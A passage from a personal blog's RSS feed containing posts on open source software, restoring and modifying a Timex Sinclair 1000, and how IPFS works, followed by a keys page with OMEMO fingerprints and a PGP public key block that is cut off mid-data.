them.&lt;/p&gt;&#xA;&lt;h2 id=&#34;open-source-and-competition&#34;&gt;Open Source and Competition&lt;/h2&gt;&#xA;&lt;p&gt;All of these practices encourage competition and make anticompetitive tactics like lock-in via proprietary file formats impossible. What is more, the moment an open source product is improved (whether by the community or the product&amp;rsquo;s owners), that innovation is available to everyone. Other developers can immediately begin to improve it and build upon it, and users can immediately begin to integrate it into their workflows and business processes.&lt;/p&gt;&#xA;&lt;h2 id=&#34;try-it&#34;&gt;Try It!&lt;/h2&gt;&#xA;&lt;p&gt;Open source is not the answer to every problem, but it is the answer to many of them. Open source products exist for nearly everything.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Office applications (like word processing, presentations, and spreadsheets);&lt;/li&gt;&#xA;&lt;li&gt;web browsing;&lt;/li&gt;&#xA;&lt;li&gt;computer aided design in architecture, mechanical engineering, and electrical engineering;&lt;/li&gt;&#xA;&lt;li&gt;digital photo processing;&lt;/li&gt;&#xA;&lt;li&gt;digital art;&lt;/li&gt;&#xA;&lt;li&gt;professional and amateur video editing;&lt;/li&gt;&#xA;&lt;li&gt;accounting and financial auditing;&lt;/li&gt;&#xA;&lt;li&gt;tax processing;&lt;/li&gt;&#xA;&lt;li&gt;professional and amateur audio processing;&lt;/li&gt;&#xA;&lt;li&gt;web servers;&lt;/li&gt;&#xA;&lt;li&gt;blogging software (in fact, this site is powered by the open source Jekyll software);&lt;/li&gt;&#xA;&lt;li&gt;almost anything you can think of&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;It costs you nothing but a download and a few clicks to try a piece of open source software, so go ahead. If you have a problem, most products have a method by which you can bring that problem to the developers&amp;rsquo; attention (called &lt;strong&gt;filing a bug&lt;/strong&gt; against the product), so they can fix it.&lt;/p&gt;&#xA;&lt;p&gt;If you&amp;rsquo;re curious about open source as a concept, and how it can help you or your business, please contact me at &lt;a href=&#34;mailto:nora@nora.codes&#34;&gt;nora@nora.codes&lt;/a&gt;. I&amp;rsquo;m more than happy to answer any questions you might have.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>The Sinclair ZX-81/TS-1000</title>
      <link>https://nora.codes/post/the-sinclair-zx-81-ts-1000/</link>
      <pubDate>Sun, 10 Apr 2016 15:42:56 +0000</pubDate>
      <guid>https://nora.codes/post/the-sinclair-zx-81-ts-1000/</guid>
      <description>&lt;figure class=&#34;right&#34;&gt;&#xA;    &lt;img src=&#34;./images/ts_1000_in_styrofoam-169x300.webp&#34; alt=&#34;ts_1000_in_styrofoam&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;I recently watched the excellent film Micro Men, about Sir Clive Sinclair, Sinclair Research, Acorn Computers, and the fight for the British low-end computer home computer market in the early 1980s. This, along with a healthy (unhealthy?) dose of procrastination, lead me to spend a few hours browsing eBay, looking for old PCs. &amp;ldquo;Timex Sinclair 1000 Retro Home Computer, New In Box&amp;rdquo;. I checked the price - $29.99 plus shipping. It has been one of the most interesting purchases of my life.&lt;/p&gt;</description>
      <content:encoded>&lt;figure class=&#34;right&#34;&gt;&#xA;    &lt;img src=&#34;./images/ts_1000_in_styrofoam-169x300.webp&#34; alt=&#34;ts_1000_in_styrofoam&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;I recently watched the excellent film Micro Men, about Sir Clive Sinclair, Sinclair Research, Acorn Computers, and the fight for the British low-end computer home computer market in the early 1980s. This, along with a healthy (unhealthy?) dose of procrastination, lead me to spend a few hours browsing eBay, looking for old PCs. &amp;ldquo;Timex Sinclair 1000 Retro Home Computer, New In Box&amp;rdquo;. I checked the price - $29.99 plus shipping. It has been one of the most interesting purchases of my life.&lt;/p&gt;&#xA;&lt;p&gt;The Timex Sinclair 1000 was originally the ZX81, designed by Rick Dickenson for Sir Clive Sinclair&amp;rsquo;s Sinclair Research, and built by Timex (yes, the watch company) in Scotland. It sold extremely well in Britain. In America, however, the Sinclair brand was mostly unknown, so the computer was released there as the Timex Sinclair 1000. It also recieved some modifications and upgrades, most notably a &lt;em&gt;whole extra kilobyte&lt;/em&gt; of RAM. (I make fun of it now, but at the time it was a big deal.)&#xA;Over its three-year run, the ZX81 sold 1.5 million units under that name and an unknown number in America as the TS1000. In addition, several unauthorized clones were created in the Soviet Union in 1982 and sold well there until at least 1986.&lt;/p&gt;&#xA;&lt;p&gt;Like most computers at the time, the ZX81 used the Zilog Z80A processor. It was clocked at 3.85 MHz, and that was approaching the practical limits of the Z80, which was not well binned and not very good at disdissipating heat. Even so, industrious Z80 users have managed to increase the clock to as much as &lt;a href=&#34;http://imgur.com/a/KPnWk&#34;&gt;7.3 MHz&lt;/a&gt;. The ZX81 came with 1 KB of RAM, or 2 KB in the TS1000. This was a lot for £99, but it wasn&amp;rsquo;t enough to have, say, a real parser for the included Sinclair BASIC - tokens like &amp;lsquo;PRINT&amp;rsquo; were entered whole, as Shift + P, for example. The Shift key could be used in this way because the ZX81 actually didn&amp;rsquo;t support lower-case characters.&lt;/p&gt;&#xA;&lt;figure class=&#34;left&#34;&gt;&#xA;    &lt;img src=&#34;./images/ts_1000_money_shot-300x169.webp&#34; alt=&#34;ts_1000_money_shot&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;Because even 2 KB of RAM isn&amp;rsquo;t really sufficient for anything more than simple BASIC programs, official and unofficial RAM packs became extremely popular. The ZX81 was, however, notorious for connection problems with this hardware, which plugged directly into the mainboard with a very flimsy connector. In addition, the requirement for a tape drive to save and load programs has prompted more modern ZX81 enthusiasts to add EPROM, EEPROM, and flash chips to the system in order to store programs.&lt;/p&gt;&#xA;&lt;p&gt;If the Z80A processor was the brain of the ZX81, the Ferranti Uncommitted Logic Array was the heart. It did everything the all-digital Z80A couldn&amp;rsquo;t: video and audio synthesis, clock stabilization, and keyboard control, among other tasks.&#xA;Because most households in the 1980s didn&amp;rsquo;t have a TV with composite video input, the ZX81&amp;rsquo;s ULA fed a composite signal, PAL for the UK and Europe, and NTSC for America, into the RF modulator. This modulator (pictured below with my bypass buffer modification) made the video appear to be a broadcast TV signal, allowing home TVs to display it with minimal user effort. The TS1000 included an RF switch that allowed connecting the real TV antenna and the computer so that they could be switched between at any time.&lt;/p&gt;&#xA;&lt;figure class=&#34;right&#34;&gt;&#xA;    &lt;img src=&#34;./images/009_compact-300x169.webp&#34; alt=&#34;009_compact&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;When I received my Timex Sinclair 1000, I was amazed at the small size. It&amp;rsquo;s really not larger than a typical hardback YA novel (you know the type), and is pretty well put together for something built down to a price. I would have loved to use it unopened, but unfortunately there&amp;rsquo;s no way to do so these days, so I figured I may as well take some photos. You can find them with annotations &lt;a href=&#34;http://imgur.com/a/R0m4r&#34;&gt;here&lt;/a&gt;.&#xA;The main modification I&amp;rsquo;ve done so far is to bypass the RF modulator. This let me use the computer with my projector, which is the only composite display I owned at the time I bought the computer (I have since bought a $15 car backup camera monitor, which works well with the same modification). I used a single NPN transistor with a 220 Ohm resistor to create a collector follower buffer to avoid stressing the ULA, then added a set of diodes in series to drop the voltage to a level that my projector can tolerate. You can see more in-depth instructions &lt;a href=&#34;http://imgur.com/a/ipUVq&#34;&gt;here&lt;/a&gt;.&#xA;I plan to add a reset button, an on/off switch, a power LED, and possibly a stepper switch and a bus visualizer. This would make it much less authentic but also much more interesting to watch in operation, since the entire computer could be stopped and clocked at a human-viewable rate, with the bus visualizer allowing me to view the status of the various interfaces to the CPU. I might also add a fake tape drive or an EEPROM to allow saving and loading programs.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>IPFS, the Interplanetary File System</title>
      <link>https://nora.codes/post/ipfs-the-interplanetary-file-system/</link>
      <pubDate>Sun, 10 Apr 2016 15:37:11 +0000</pubDate>
      <guid>https://nora.codes/post/ipfs-the-interplanetary-file-system/</guid>
      <description>&lt;p&gt;&lt;strong&gt;IPFS&lt;/strong&gt;, the &lt;strong&gt;InterPlanetary File System&lt;/strong&gt;, is a content-addressable network.&#xA;This means that rather than asking the network for a particular site or domain name (like google.com), you ask for a particular piece of content, and you&amp;rsquo;re guaranteed to recieve it.&#xA;There&amp;rsquo;s no possibility of a &amp;ldquo;monkey in the middle&amp;rdquo; attack, in which someone maliciously modifies the web page you&amp;rsquo;re trying to access.&lt;/p&gt;&#xA;&lt;p&gt;To explain it another way, on the normal Web, when you access google.com, the network translates it to an IP address, like &lt;code&gt;216.58.216.14&lt;/code&gt; or &lt;code&gt;2607:f8b0:4003:c00::6a&lt;/code&gt;. Then, your computer connects to the server that address refers to and asks it, &amp;ldquo;Could you send me the content for google.com, please?&amp;rdquo;. This means that Google can change the content on their front page whenever they like - or, if someone malicious is inbetween you and Google, they could change the content. They might, for example, change the login form so that the passwords you enter are sent to them.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;IPFS&lt;/strong&gt;, the &lt;strong&gt;InterPlanetary File System&lt;/strong&gt;, is a content-addressable network.&#xA;This means that rather than asking the network for a particular site or domain name (like google.com), you ask for a particular piece of content, and you&amp;rsquo;re guaranteed to recieve it.&#xA;There&amp;rsquo;s no possibility of a &amp;ldquo;monkey in the middle&amp;rdquo; attack, in which someone maliciously modifies the web page you&amp;rsquo;re trying to access.&lt;/p&gt;&#xA;&lt;p&gt;To explain it another way, on the normal Web, when you access google.com, the network translates it to an IP address, like &lt;code&gt;216.58.216.14&lt;/code&gt; or &lt;code&gt;2607:f8b0:4003:c00::6a&lt;/code&gt;. Then, your computer connects to the server that address refers to and asks it, &amp;ldquo;Could you send me the content for google.com, please?&amp;rdquo;. This means that Google can change the content on their front page whenever they like - or, if someone malicious is inbetween you and Google, they could change the content. They might, for example, change the login form so that the passwords you enter are sent to them.&lt;/p&gt;&#xA;&lt;p&gt;On IPFS, however, when you ask for something, you don&amp;rsquo;t request an IP address from the network, but instead ask for a &lt;em&gt;hash&lt;/em&gt; of a file - a web page, an image, a video, or whatever. For example, /ipfs/QmbKM1C3ggNVdQtTnQuhvWruyodK6TUnoxjYwg31Q3crcn is the address of a specific version of my GNU/Linux tutorial series. If I change the content, the hash changes.&lt;/p&gt;&#xA;&lt;p&gt;Of course, people still want to be able to change their content without breaking all the links to it. For that, we have &lt;strong&gt;IPNS&lt;/strong&gt;, &lt;strong&gt;InterPlanetary Name System&lt;/strong&gt;. IPNS allows you to securely point to mutable content with a hash-like address (/ipns/&lt;whatever&gt;).&lt;/p&gt;&#xA;&lt;p&gt;These addresses are still not human-readable, but DNS can be used to resolve human-readable names to IPNS addresses, just like it&amp;rsquo;s currently used to resolve IP addresses from human-readable names.&lt;/p&gt;&#xA;&lt;h3 id=&#34;benefits&#34;&gt;Benefits&lt;/h3&gt;&#xA;&lt;p&gt;One of the coolest things about IPFS is that the load of serving files is shared between users.&#xA;Ever heard of the &amp;ldquo;Slashdot effect&amp;rdquo;, wherein something cool gets linked to on social media and the server hosting it collapses under the sudden load? With IPFS, that won&amp;rsquo;t happen.&lt;/p&gt;&#xA;&lt;p&gt;That&amp;rsquo;s because when you request a particular piece of content over IPFS, it gets cached to your machine and sits there until the allotted space is used up, or you decide to remove it.&#xA;Anyone who asks for that piece of content has a chance of connecting to your IPFS node before anyone elses and recieving the content from you.&#xA;They in turn will cache it, and serve it to future clients.&#xA;Everyone who is looking at a particular piece of content shares the load of serving it to everyone else.&lt;/p&gt;&#xA;&lt;h3 id=&#34;technical-concerns&#34;&gt;Technical Concerns&lt;/h3&gt;&#xA;&lt;p&gt;There have been worries about hash collisions in the data store. IPFS uses multihash, which allows its hashing function to be upgraded, and currently, implementations use SHA-256. &lt;a href=&#34;https://stackoverflow.com/questions/4014090/is-it-safe-to-ignore-the-possibility-of-sha-collisions-in-practice&#34;&gt;This&lt;/a&gt; StackOverflow post makes a good point about the likleyhood of such a collision:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;If we have a &amp;ldquo;perfect&amp;rdquo; hash function with output size n, and we have p messages to hash (individual message length is not important), then probability of collision is about p2/2n+1 (this is an approximation which is valid for &amp;ldquo;small&amp;rdquo; p, i.e. substantially smaller than 2n/2). For instance, with SHA-256 (n=256) and one billion messages (p=109) then the probability is about 4.3*10-60. A mass-murderer space rock happens about once every 30 million years on average. This leads to a probability of such an event occurring in the next second to about 10-15. That&amp;rsquo;s &lt;strong&gt;45&lt;/strong&gt; orders of magnitude more probable than the SHA-256 collision. &lt;strong&gt;Briefly stated, if you find SHA-256 collisions scary then your priorities are wrong.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So, perhaps, when IPFS is truly interplanetary, we will have to switch to a new hash function. That&amp;rsquo;s fine - the way IPFS is built, that&amp;rsquo;s entirely possible.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Keys and Fingerprints</title>
      <link>https://nora.codes/keys/</link>
      <pubDate>Fri, 22 Jan 2016 00:00:00 +0000</pubDate>
      <guid>https://nora.codes/keys/</guid>
      <description>&lt;p&gt;Here you will find the key material needed to identify me on various services.&lt;/p&gt;&#xA;&lt;h2 id=&#34;omemo&#34;&gt;OMEMO&lt;/h2&gt;&#xA;&lt;p&gt;Here are the keys for my XMPP clients.&lt;/p&gt;&#xA;&lt;p&gt;Desktop: &lt;details&gt;&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;F0AB7263 B6C022EF A8C38705 65076963&#xA;FCF10F75 B53666FB 92619D86 807D9619&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/details&gt;&#xA;&lt;p&gt;Laptop: &lt;details&gt;&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;2140AA59 2159DD24 01508815 90BA116C&#xA;9DD7AF4F 63FBFAA0 92346EF7 2AC36361&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/details&gt;&#xA;&lt;p&gt;Phone: &lt;details&gt;&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;1FC18869 CB8A790E 8264034E 9927DDFF&#xA;9424C8CF F0BAA6BE F8BD4DF4 3FFA3A32&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/details&gt;&#xA;&lt;h2 id=&#34;gpg&#34;&gt;GPG&lt;/h2&gt;&#xA;&lt;p&gt;My GPG key is as follows.&lt;/p&gt;&#xA;&lt;details&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;-----BEGIN PGP PUBLIC KEY BLOCK-----&#xA;&#xA;mQINBF2nP24BEACxW1Nb9CWGEIihtpbRlO6uPKmI+3AdW/0mL6+kQhuNbEiC/IQD&#xA;MccpmhFv5Ql8i5aFjnWA60M9kHjwgycitBukt+/KFIpCpfWzhIams23HIDxn8uk1&#xA;QQNQtIBIXC2P/0zNKj6WNBfhIdMdcAcIoCr/KuTqwssxVbOGPjvmHx1WbMHjnjoZ&#xA;gApde9R/iloluI7AobVVP2YRoaxHsVDIKo5nQEKaojLVkgWKuUOa6CCCvdDyOucS&#xA;cBEQQzML8G6GeKVbNGRStmYhvgYQv6YAsHJkiXgCRXx6k+772hzeUMHqDjOn77uT&#xA;coG5WeCer0OuF+FYwFQ0r7NCDb4TPYGHeWQr39cyd0y1XQaQ/TuUr9oKGxLR8B/Q&#xA;HuB9RWfP1ZJIeRgtiOpS1r3oQgTrc+CPIs7AXJo038iUc83B0+PxKn6UrFgfMT4w&#xA;p793I3MJovPM3F4TCPJohh6TrGUHZJx4qEYf+oc9XMUu/QIJsbNXa3R6Cj153piD&#xA;AMlktdi30N6BYBptffsWRfZR4f5ckD6ympFtLVqyUHRt5cY5B3z4Y579dHd+0B0C&#xA;OI82CtSJuTimzCs4uxs7xufiLR7H/8+qJLmjwJQmYkTlTdlmG59M08THNH022LwQ&#xA;5kD2fcXRNn7RqO1CZWCmHxZNqmDIS9MlBA53YO1h0BOhdJFN7yldCaFecwARAQAB&#xA;tCZMZW9ub3JhIFRpbmRhbGwgPHRpbmRhbGxsZkBiZWxvaXQuZWR1PokCTgQTAQoA&#xA;OBYhBIlF7QmuIBeoXhUr+HqLUuxn4JqvBQJdpz+KAhsDBQsJCAcCBhUKCQgLAgQW&#xA;AgMBAh4BAheAAAoJEHqLUuxn4JqvJYkP/RDNq8Ajn3aMlbO3lM6hGZs5vwSysMFr&#xA;CRFlYezf+peLhs7sDONX9JdJiHtqnCzvAdBZqabl7d0bAmP8vrthFG9QiYiYyUjy&#xA;nQUlE7ST71NI8Edm+AHlPPnkpTy7jVw+yhv0Bo0iHanU8ABNcYVlXjDNVpl+YeLn&#xA;fGlJwEvQu6xByZLTvJuK+v09lY7UvhDk0GJnybhHbt/bLZ0zhWtS6pm3yzUId4dI&#xA;Sg5bA8kQZOxEC2wAf0IaativjojiKwJPFstWseVM1hniu5iuRjIjDjU9BZfla9Wo&#xA;YSuOp2LC8gYXTHyVMeVAGJ0+cLLlDuMMc8Vh3dltVBKO1X5hoc1kn9C9uNSFo9uc&#xA;CWmCB1PimRIZ6iOFOx3n9luhEtf6Ad+Ksd42LKlcLYHNkmnoCFcifiO8jukDXA38&#xA;3GsxVNCiZdMPP+eCOc1kriMtS0fns5Lu0BcfFFEI/rbaAGIIPDAnUmIXzhFF6wD/&#xA;IB7NEfgq7o53B46WhvlIL86jqhBlSkQjkZJVVoRVmOSQgR/f6RT9GegDWln835c2&#xA;So7f/s43897AfUQX7nYo4jmkpiCTZBqWvkDC0sKfS7vWQHz0LwZYSgeTD29E96j/&#xA;UitinFvObx0p2WFPyvOlBTP8TkzK2HhF6AxBk9h8faE7T6tPmFVkZeKk/EjF4kQT&#xA;PMVnb/LNLzvdiQIzBBABCgAdFiEERDz2RkzwSsW8yrqemQQbaNvALawFAl2nP/cA&#xA;CgkQmQQbaNvALax1EQ//VdlKcJhapIVxULlxWk5nM55rZIXfCtmREJIhEjzQoc1B&#xA;abNamHaYOC3wmZVrrbW4xITHq3OPtPataeaKoZ2draw8qwox4V/VASYUevOI0vVl&#xA;uE16aUlepXWT4fqjAzaa6SOmYfWHcpGVaYM4W/nAC9Dh5skbTCZ/D6TMJz8Wdmb0&#xA;wDEUwxDHU0zq1Lr8lfM2YP0HdyWUcfroiurELiDYZxKDk86U/ik40obKwJqU0mvb&#xA;SfDGF1R2DobD7BEawBkx+gjBcLnqU1wBtxisNBcIpj4vS7KHYCaauI+JI8Z45mwT&#xA;QtMrGNU25knogek532YRn6NanXElBInXaqV8QIY/YlrHGdZe2x7EGHRA9ZDkbKIw&#xA;Esh3KkbifYfB7UyLxVVET4Wv0U1M4f4kOI3x012we1jyWiKzvio7rmjcDGBK6mbC&#xA;j5F5Yzy7lACMZs/xY2PjlSnhi23IBk5bPxs/se9ek+SQCjWPowrxQZzVvG3kTH9g&#xA;VrkZcZ74UN1zI11Z0tDY8yurC5uXciEpKtt3T2q0+5TebKVRou4yKe2UyxfsRrO3&#xA;6Nq/PbVzCxJgDKCiGeFjRwnXK46Bb0w3M2v3xS/7iVYzk21E5HxBEmr1fSh846oZ&#xA;rH0SHugTvOz3Inr9VItHQwI+B1iJnCXJlcBPDAklcNjlYXmdmhOm7c2ax2WTpji0&#xA;IUxlb25vcmEgVGluZGFsbCA8bm9yYUBub3JhLmNvZGVzPokCUQQTAQoAOwIbAwUL&#xA;CQgHAgYVCgkICwIEFgIDAQIeAQIXgBYhBIlF7QmuIBeoXhUr+HqLUuxn4JqvBQJd&#xA;p0DoAhkBAAoJEHqLUuxn4JqvaZ0P/0e/3Z+GO+Me1t4xxUeU9iGufSWUxf+wU7mL&#xA;uJ+1e1nXeYJnbDnfsSkSAO6BLeZw7Ds5CM0xBlncsR9J6soSwoYwYQ0JnCar4FTS&#xA;koVbyVNFTn/eXou+505/YQB3eIDi+1fOBK+PsISckNp8hq8l3e+JIP+Fa5G5fxEh&#xA;c3mjuTUrkcIrA/E9qahRte/9KwtA/Ep2PKeDw7goB1RSi1wQcQ4tSmM7u7eZa3+t&#xA;IPBnVTgQBHAzojEPmw9yDwexV9Iqp58STvQDG1ay2mkBnhDvpR5G0ve+6a5kuw51&#xA;9PlvJin5dp0xb9XBLJHMgqhDICXkswrxQMtOUgjhAjvMFp9Wp+jtGSPPOZFBlW6F&#xA;PlnHCwA7j0H05T4bGgwOx7wppNk+t24gObR+m0dvMlviB5mNuJjsNwS6Gj6T8b0L&#xA;KR7iO9UT5v4X6fjeVaoFWAUB0cfVc7hpPPcQfbAsgnHlls00fYkbRq68W7ibb4NG&#xA;NKDxzedl4EfY2SjkaeY1B6CVRw+sw6s9sCcz9ku+gVJs99X5nBpxoGPa7BDb8Nin&#xA;jhaGT45asROSFF/LLCusoddDBnwsgtaPmcasvzvS9r2GW8L8HNDmvmOeE2u/htPd&#xA;KN3xkauYsugv4ucgx+ImB9C8PrGk8s61PdcA8KmRmTOiBlwvfYkF/R2OaYg4kfVK&#xA;ut0oFpEfiQIzBBABCgAdFiEERDz2RkzwSsW8yrqemQQbaNvALawFAl2nQLkACgkQ&#xA;mQQbaNvALaxc6BAAjN5mkUhylN5kVTs4YnTJVMhglXtjoOxXxFQ10CuYevkEFk8h&#xA;YpKO+XGi9/WTA9y0uBtpFAyElzYZ+t0x5eY+1W7CBUfVcbyjZEgEzPIBRky4tQzu&#xA;ocYBf8ywOgWcYLmGIdjk/5yo9iVyy/5BLU7PxRsPYCoI6sZ2N1LvqCngz8YdYeuT&#xA;y6ygX5cClyiRZCfKOzz3RC+u2CrAa2T3HCtdklvNwnGUoSt52wXl4fVWFmBZmSau&#xA;AA1tE7xebFhAzTJnBun0EqIDTPDx3N1WFIVIvw6C9R/RH0R184mvxPvdTN1Xuy1m&#xA;+AfwLP6ajikJNSdlGvJCd562M6idJ9lVTeabUoZ35py4V42ScYCcwtnhZ73jDP7n&#xA;s8zwqjcu75li/DG2dEdeuuToqEDN42aHy0uKB9rs9L7YCeoOUoosn1uzlPcoKz+l&#xA;hyOcDO7BF4DAalqyuEM93YBRfym1I/PBjs3HWRP9bI9NOZ4kxYjtE37XBNcycSpd&#xA;EeR8zpHApRBfgN+ZSNjKAvfH8nGJeerEQKnaiQ5gKCF91/EmWg8UAnlV9iyXpSTT&#xA;PlBEKwsN7iPYxmHKzLD/TAltZ6uxkcnTqMjRH9X9VAW8J8OIcKn8A/o3dtlvb7pF&#xA;Kr4TnH5n884D4JdxRkMBELfpWYoKZGKh9sfjFvL7xVYBpnNcZbzVagM418K0Jkxl&#xA;b25vcmEgVGluZGFsbCA8bGZzdGluZGFsbEBnbWFpbC5jb20+iQJOBBMBCgA4FiEE&#xA;iUXtCa4gF6heFSv4eotS7Gfgmq8FAl2nP34CGwMFCwkIBwIGFQoJCAsCBBYCAwEC&#xA;HgECF4AACgkQeotS7Gfgmq803w//fmcvfTCWUwh/bydM57h7sFrQ4cHVkaUePqWM&#xA;r3hGxojyl1dlypTp7QAeGgOXwVL8gOrYKjAFZbeJWMGa4RimZA3FhzZ2lvvcsgod&#xA;4CbseClQ6sPczE2i5aLAppLWiTlw+gu2vywi3X/go3q2FGmsGBdOZBxMaw8XB1N0&#xA;CYzhJq3XRyjZMSRPBjn/C3eufdKTX5Qi+BuIcG3f32qEkJxFzjgRI5kkYcAmVyUr&#xA;L6XxleEBiCvn8Eo3GX+TOmN9Q016EaPIpjKeivrEujgUmlmOlkv+XocRL5W5O+Ml&#xA;e0ZADCqY0WxQcULRkrFMDPkozDgNh8ETCNyXZCR+D1DGBGsX4wxT4ofgoejbf1Ri&#xA;D8sWx9YUEQLgqndrrPaWxY8pG4RrE/NBueuc88S3Fdbak63sa7Km7iXyPUfEI6lK&#xA;HKte7BSDD8x4AwovWsrRbAeAQKFFTI8AaAbIBlhz0mmkGgcxV+lDcXYZt9c/Jnzi&#xA;bJhzSqJ0FbgyL0XoFctNHfaxpX/B6w0y16rSDz9/pfAlELM+6JOHk/bwqIgqZ+Lz&#xA;wUBUccS2LysAFgFUEUn/X8GAJG0aQy1ka5jmbeTOO6dKsHMNqhPm3lxOwDxT8g6g&#xA;mW9GUGqqab+meLBBIrKMZMP57ucdudBxJuLMULM7npm2k4llQpvoUbvQwADbiM0L&#xA;5I8RQu6JAjMEEAEKAB0WIQREPPZGTPBKxbzKup6ZBBto28AtrAUCXadAugAKCRCZ&#xA;BBto28AtrJI1D/9OnEZER3cXKjD5SpRZzNdUz0dUQT2bUgkHV1vNIUL8lNtdPJDk&#xA;A0tXujyCQjJPPFxbpXVkdWqbAgN22c39GtpUYu4qElcUi4fDbjrP71RU8XnotZUM&#xA;SWSm/b0kV9Ho75c5lkm8GEuFwTRhDulBYPGnUYjIldGriT88gEoeP0VQwD98Cn5O&#xA;eAq+5rptBZSQgYvauXlFuQrcUjbxgnl2EHq3cDAx+fjp1KhYaNEofPjGwQNd6Gjm&#xA;tdvHQ81wl7eQRkLvk0WgrYdfD3PlrRbvIC6S8d0Yu0jhSvcvxlqoOx22Vb4J+oe3&#xA;JKo/FTZWmFP4H8Zjk2hlE2YjVughMzsa6ebVAcK6z4lRPmY0BBjEeq8N5d/WYpJ9&#xA;f23RgpBbKv2ngG0+yo3ZjNDrF0/OyD+oBOPZXNJ/u9LeY8i8EgUK+RGu+rUE/Nf9&#xA;ef/TUXN60PGZmaxUa1oRSXrqtzTjL9nc+EX+1Vx5hEPBgiW+gLkkO7MBSrz0F+VL&#xA;xN6hY0Sl4zSrWZMVeAJ8JJcogSu7bgJs5+qONRVsgBtMIZsxURnEiXAmC/Cmj+Oa&#xA;PPf5WmgUyV7QNVy/5xlWAJwi8z2EBNhTiET8v4X3als3Lzs3vt52xriRpli+8/aS&#xA;qtbKqSl2nzNEnzpPu5ATGxXvdnPQMlTrA6vD5m6IK6jke5BabVvVOhoKo9HS79Lt&#xA;ARAAAQEAAAAAAAAAAAAAAAD/2P/gABBKRklGAAEBAAABAAEAAP/bAEMACAYGBwYF&#xA;CAcHBwkJCAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicgIiwjHBwoNyksMDE0NDQf&#xA;Jzk9ODI8LjM0Mv/bAEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIy&#xA;MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMv/AABEIAIcAhwMBIgACEQED&#xA;EQH/xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQD&#xA;BQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoW&#xA;FxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5&#xA;eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU&#xA;1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/xAAfAQADAQEBAQEBAQEBAAAAAAAA&#xA;AQIDBAUGBwgJCgv/xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2Fx&#xA;EyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdI&#xA;SUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Sl&#xA;pqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4+Tl5ufo6ery8/T19vf4&#xA;+fr/2gAMAwEAAhEDEQA/APFY2LRjH+si+Zfcdx/X86ZKoV8r9xuVpisUcMpwQcir&#xA;DBCNvSN/mQn+E9x/n2ruJfuyv/X9f8ErUVKLeQ/3P++x/jS/ZpP9j/vsf40i+ePc&#xA;hrStdCvruISrGEQ9C5xmrejaG0twJbpQEQ52Zzk+9dTKRs2AAKK5qteztE2hT5ld&#xA;nHNoM0T4lli29ypOP5UsumwRQ7gyt7g10VwpVck577awHV7+7SGKNQ0hxx29TUe0&#xA;lLqDgkZzWpL4Q5X19KmTSp5FyhGO2eM1YgVIyFILD2PWtqzgjlQmBsHupNN1ZISg&#xA;mcjJE8LlZEKsOxFRk5rvv7OhuYGjuEDg+3Irn77wzPCxa2YOnoxwauFeL0YpUmtR&#xA;NaH2rTNOvxzlPKc+4/8A1GsiQbo45PbafqP/AK2K6HRLKXUbK70d/LWXHmRb5FXD&#xA;DqOT/nml8M6TFdXk9rcxxmdPmVJJVC8cHqeoq02keLHEww8Jxl9h/g9v68ir4duI&#xA;zJNYTf6q5XA+uP8AD+VZV7ayWV1JbyD5lPB9R2NamuaBdaNfgrsETndEyyqce2Qe&#xA;oqPU71tStrcPBGLhOHk3jkfnSV73XUulUi6irUneM9/J9/0Zn2dzNbThoVDn+4y7&#xA;gePSiuq8N6HGbddT3ouwGM+dKiqG9Rk+hxRWc5O+kbnBisfRVVrlUrHHVIjLtMbk&#xA;hTyCBnBqOiuo+jauiTZF/wA9T/3x/wDXrT03TGuJ9sUhDDBd9v3B7e9U9MtTdXqr&#xA;t3BQXI9cdB+eK6u3CWyhYQX2ttG0cyyGsK1S2iKpwu7t6F+GKO1gWKJcKo4Hc0nz&#xA;PMI442kmb7sSDcx/AV0+j+BLi9iE+p3DxO3/ACyiI+X2JwefpXY6T4b0/SFIt4VD&#xA;N95jyW+pPJrgckjsscTp/gG/1KHzb64W0VuiKN7Y/PH86w9T8Eah4ankvbZvtiAF&#xA;Y9kZ3LkYJYc+/wDnivaqrXUHmISBzSVRpiUYtnzxp8ZErMykDHBIrTSMRt5kYAIP&#xA;OK6/xdoEaxPqNtHtlQ5mVRw6+v1H8q5